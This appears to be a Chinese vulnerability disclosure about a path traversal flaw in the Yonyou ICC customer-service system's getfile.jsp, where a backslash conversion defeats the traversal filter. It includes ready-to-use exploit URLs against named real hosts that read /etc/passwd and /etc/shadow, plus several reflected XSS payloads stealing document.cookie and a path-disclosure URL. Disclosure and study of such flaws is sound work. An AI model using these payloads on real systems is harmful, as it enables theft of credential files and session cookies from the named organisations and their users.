### 简要描述: 可下载shadow。顺便放一堆XSS、和一个路径泄漏。客服系统的话XSS可能还是有点用的,因为要实时交互的啊 ### 详细说明: 系统名称应该是叫用友ICC客服系统。 漏洞文件:web下的common/getfile.jsp文件 原本代码中是有防任意文件下载的机制的: //防止“p = /../../../../../../../../../../../etc/passwd%00.html”攻击 f = f.substring(f.lastIndexOf("/")+1); String extName= f.substring(f.lastIndexOf(".")+1); 取最后一个/后面的内容,一定程度上是避免了一些攻击,再看看路径是怎么拼凑出来的: ``` String basePath = null; String baseUrl = null; baseUrl = SystemProperties.instance().webBaseUrl; basePath = SystemProperties.instance().webUploadPath; fullPath = basePath + f; fullPath = fullPath.replace("\\","/"); //漏洞点 String fullPathFileName = fullPath.substring(fullPath.lastIndexOf("/")+1); String fullPathFile = fullPath.replace(fullPathFileName,""); ``` 其中进行了一个转义: fullPath = fullPath.replace("\\","/"); 将\\转换为了/,导致了漏洞的产生,前面的防攻击过滤已经无效了。几个利用例子: http://im.e-picc.com.cn/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\passwd http://help.10010.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow...
### 简要描述: 可下载shadow。顺便放一堆XSS、和一个路径泄漏。客服系统的话XSS可能还是有点用的,因为要实时交互的啊 ### 详细说明: 系统名称应该是叫用友ICC客服系统。 漏洞文件:web下的common/getfile.jsp文件 原本代码中是有防任意文件下载的机制的: //防止“p = /../../../../../../../../../../../etc/passwd%00.html”攻击 f = f.substring(f.lastIndexOf("/")+1); String extName= f.substring(f.lastIndexOf(".")+1); 取最后一个/后面的内容,一定程度上是避免了一些攻击,再看看路径是怎么拼凑出来的: ``` String basePath = null; String baseUrl = null; baseUrl = SystemProperties.instance().webBaseUrl; basePath = SystemProperties.instance().webUploadPath; fullPath = basePath + f; fullPath = fullPath.replace("\\","/"); //漏洞点 String fullPathFileName = fullPath.substring(fullPath.lastIndexOf("/")+1); String fullPathFile = fullPath.replace(fullPathFileName,""); ``` 其中进行了一个转义: fullPath = fullPath.replace("\\","/"); 将\\转换为了/,导致了漏洞的产生,前面的防攻击过滤已经无效了。几个利用例子: http://im.e-picc.com.cn/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\passwd http://help.10010.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow http://webservice.10010.com/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow https://cs-online.fullgoal.com.cn/web/common/getfile.jsp?p=..\\..\\..\\..\\etc\\shadow ### 漏洞证明: [<img src="https://images.seebug.org/upload/201404/1511275634f5a5e243b7c02cf752bb7c276ccad1.png" alt="image001.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/1511275634f5a5e243b7c02cf752bb7c276ccad1.png) [<img src="https://images.seebug.org/upload/201404/1511281893405ee9c719fc80a154faf0c054f205.png" alt="image003.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/1511281893405ee9c719fc80a154faf0c054f205.png) 给点XSS http://im.e-picc.com.cn/web/api/appMain.jsp?optid=123<sCripT>alert(document.cookie)</ScRIPT> http://im.e-picc.com.cn/web/api/appExpand.jsp?oppk=123<sCripT>alert(document.cookie)</ScRIPT> http://im.e-picc.com.cn/web/api/appChat.jsp?groupid=123<sCripT>alert(document.cookie)</ScRIPT> http://im.e-picc.com.cn/web/code/listDemo.jsp?com=123"></script><script>alert(document.cookie);</Script>//<" 再来个路径泄漏的吧: http://im.e-picc.com.cn/birt/document?__document=1 [<img src="https://images.seebug.org/upload/201404/151130092c3e12e3a37cccd08fd90d64bf0a1e10.png" alt="image007.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/151130092c3e12e3a37cccd08fd90d64bf0a1e10.png)